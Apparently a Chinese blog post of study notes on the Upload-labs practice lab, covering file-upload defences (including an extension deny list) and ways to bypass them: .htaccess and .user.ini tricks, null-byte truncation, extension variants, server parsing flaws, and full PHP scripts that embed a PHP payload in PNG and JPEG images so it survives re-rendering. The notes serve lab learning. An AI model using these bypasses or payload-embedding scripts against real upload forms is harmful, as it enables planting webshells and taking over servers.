1. 程式人生 > 實用技巧 >Upload-labs-master筆記

Upload-labs-master筆記

Upload-labs-master筆記

防禦方法:

  1. 白名單限制Content-type

  2. 黑名單限制少部分上傳的字尾

  3. 黑名單限制大部分上傳字尾

     $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
    
  4. 黑名單限制加上了.htaccess()

  5. 常見的防禦措施 :去除末尾的店、檔案大小寫、去除首尾的空格、去除::$DATA等

繞過攻擊方法:

  1. 修改前端js程式碼,加入我們想上傳的檔名稱(未必可以修改網頁js程式碼)

  2. 上傳正常檔案格式後burpsuite抓包 修改filename中的格式名後放行繞過

  3. 上傳正常檔案格式後burpsuite抓包 修改Content-type 繞過

  4. 上傳. htaccess檔案 寫入內容**SetHandler application/x-httpd-php 它作為配置檔案寫入後 會將 **

    所有檔案都會解析為php ,而後再上傳.gif等檔案。

  5. php.ini 是 php的配置檔案,.user.ini 中的欄位也會被 php 視為配置檔案來處理,從而導致 php 的檔案解析漏洞。

    新建.uesr.ini 內容auto_prepend_file=pass5.png

    psss5.png為將被解析成php檔案的檔名

    在上傳目錄存在readme.php

  6. 利用burpsuite 列舉各種格式的檔案字尾後introer爆破

  7. 常見的加空格、加點 、加兩點、雙寫字尾等

  8. %00截斷

    原理類似sql注入裡面的註釋符

在pass-11裡面

上傳的路徑= ../upload 加上 “/” + “ 10-99的一個隨機數 ”加上“返回時間” 最後加上點字尾

  1. 上傳圖片馬

    對於識別檔案開頭的 ,可以在檔案頭加圖片標識如:

檔案頭標識程式碼

還有的是用函式標識的如用getimagesize()函式

獲取檔案的資訊 四個引數第0個是高度 第一個是寬度 第二個是檔案格式 這裡獲取檔案的格式

還有exif_imagetype函式也用來判斷檔案型別

在pass-17中採用了imagecreatefromjpeg()函式對上傳的檔案進行限制判斷

該函式會對上傳圖片進行二次渲染,上傳後我們載入gif後面的一句話程式碼會被渲染掉,對於這樣的方式我們要尋找到渲染前後兩個檔案相同的地方,在相同的地方里面插入我們想要的程式碼,例如檔案的開頭。對於其他如png、jpg格式的格式比較麻煩,用下列程式碼

png程式碼生成

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

jpg木馬生成程式碼

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
           
          }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>
  1. 檔案解析漏洞

    IIS5.x-6.x解析漏洞:會將test.asp目錄下面的檔案都當做asp檔案處理

    ​ 存在分號時例如1.asp;.jpg時,IIS會把它當成asp檔案

    Apache解析漏洞:一個檔案可以多個以點分隔的字尾,當後面的無法識別,它就從右往左識別

    ​ 例如 shell.php.xxx.yyy 首先yyy無法識別向左xxx 依舊不認識 再向左php 這個認識 就把他交給php來處理

    nginx解析漏洞: 1.jpg/1.php 1.jpg%00.php 1.jpg/%20\0.php